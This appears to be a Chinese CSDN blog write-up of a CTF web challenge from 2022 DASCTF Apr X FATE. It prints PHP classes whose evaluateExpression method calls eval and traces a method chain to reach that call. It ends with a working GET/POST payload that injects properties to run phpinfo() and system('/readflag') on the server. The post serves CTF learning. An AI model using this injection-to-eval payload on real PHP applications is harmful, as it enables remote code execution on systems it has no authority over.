2022DASCTF Apr X FATE 防疫挑战赛web复现

打开可看到是代码审计,现在的我的水平显然不会做:
所以参考了其他师父的wp;勉勉强强知道点流程,大概就是不断调用各种类中的方法;

首先拿到四个代码,如下:

Base.php
 
<?php
 
class Base
{
 
    public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }
 
    public function __set($name, $value)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter)) {
            return $this->$setter($value);
        } else {
            throw new Exception("error property {$name}");
        }
 
    }
 
    public function __isset($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter))
            return $this->$getter() !== null;
 
        return false;
    }
 
    public function __unset($name)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter))
            $this->$setter(null);
 
    }
    public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }
 
}
Filter.php
 
<?php
 
 
class Filter extends Base
{
 
    public $lastModified;
 
    public $lastModifiedExpression;
 
    public $etagSeed;
 
    public $etagSeedExpression;
    
    public $cacheControl='max-age=3600, public';
 
    
    public function preFilter($filterChain)
    {
 
        $lastModified=$this->getLastModifiedValue();
        $etag=$this->getEtagValue();
 
        if($etag===false&&$lastModified===false)
            return true;
 
        if($etag)
            header('ETag: '.$etag);
 
        if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
        {
            if($this->checkLastModified($lastModified))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
 
        }
 
        if($lastModified)
            header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');
 
        $this->sendCacheControlHeader();
        return true;
    }
 
    
    protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }
 
        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }
 
    
    protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }
 
    
    protected function checkEtag($etag)
    {
        return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
    }
 
    
    protected function checkLastModified($lastModified)
    {
        return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
    }
 
    
    protected function send304Header()
    {
        header('HTTP/1.1 304 Not Modified');
    }
    
    protected function generateEtag($seed)
    {
        return '"'.base64_encode(sha1(serialize($seed),true)).'"';
    }
}
ListView.php
 
<?php
 
abstract class ListView extends Base
{
 
    public $tagName='div';
    public $template;
 
    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }
 
 
    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }
 
 
    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }
}
TestView.php
 
<?php
 
class TestView extends ListView
{
    const FILTER_POS_HEADER='header';
    const FILTER_POS_BODY='body';
 
    public $columns=array();
    
    public $rowCssClass=array('odd','even');
    
    public $rowCssClassExpression;
    
    public $rowHtmlOptionsExpression;
    
    public $selectableRows=1;
 
    public $data=array();
    public $filterSelector='{filter}';
    
    public $filterCssClass='filters';
    
    public $filterPosition='body';
    
    public $filter;
    
    public $hideHeader=false;
    
 
 
    
    public function renderTableHeader()
    {
        if(!$this->hideHeader)
        {
            echo "<thead>\n";
 
            if($this->filterPosition===self::FILTER_POS_HEADER)
                $this->renderFilter();
 
 
            if($this->filterPosition===self::FILTER_POS_BODY)
                $this->renderFilter();
 
            echo "</thead>\n";
        }
        elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
        {
            echo "<thead>\n";
            $this->renderFilter();
            echo "</thead>\n";
        }
    }
    
    public function renderFilter()
    {
        if($this->filter!==null)
        {
            echo "<tr class=\"{$this->filterCssClass}\">\n";
 
            echo "</tr>\n";
        }
    }
    
    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }
 
        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];
 
        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";
 
        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
 
            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }
 
}

Base类evaluateExpression函数存在eval;

 再看看其他方法与evaluateExpression函数有关的;在Fileter类中有两个方法可以,

 但是这两个是不行的,为什么呢,其他大佬的解释是说:调用这两个方法需要用到base类中的_get方法,但是题目似乎无法触发__get()方法,题目进行的是赋值操作,也就是写,所以最多是调用__set()方法;虽然还是不是很理解,继续懵逼着走吧;

然后就是还有TestView类中的renderTableRow方法:

    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }
 
        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];
 
        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }

 到这里我们的最终目的是实现 TestView::renderTableRow() --> TestView::evaluateExpression()

然后前面怎么到TestView::renderTableRow() 呢?

 然后看一下题目代码:

    public function __construct($action,$properties){
 
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }

大佬说后面的$object->run(),这种情况要么就是调用__call()魔术方法,要么就是看看其它类中的run()函数,看看就知道没有__call()方法,所以我们找run(),可以看到只有ListView类中有run()函数:

    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }

这里面有renderContent(),更进:

    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }

有正则匹配,又用到renderSection,继续更进:

    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }

这里调用链很清晰,通过ListView::run->ListView::renderContent->ListView::renderSection我们可以调用TestView类的任意方法,需要注意的是由于正则匹配的模式,我们需要令$this->template = "{TableBody}"才能正确执行; 为什么是TableBody呢?因为renderTableBody方法可以到 renderTableRow()      

 但是需要对data赋值;

所以总结下来就是调用链就是:

TestView::run() --> TestView::renderContent() --> TestView::renderSection() --> TestView::renderTableBody() --> TestView::renderTableRow() --> TestView::evaluateExpression()

思路清晰啦,最后要做的就是把传入的参数设置好,如:template与正则匹配正确要记得加大括号,data数据要赋值;

最后:

GET: 

?action=TestView

POST: 

properties[template]={TableBody} &properties[data]=2&properties[rowHtmlOptionsExpression]=phpinfo(); //phpinfo()是一个执行语句;为

var_dump(system('/readflag'));

 

参考:

2022DASCTF Apr X FATE 防疫挑战赛 部分web复现_errorr0的博客-CSDN博客

[2022DASCTF Apr X FATE 防疫挑战赛]web题目复现_Snakin_ya的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值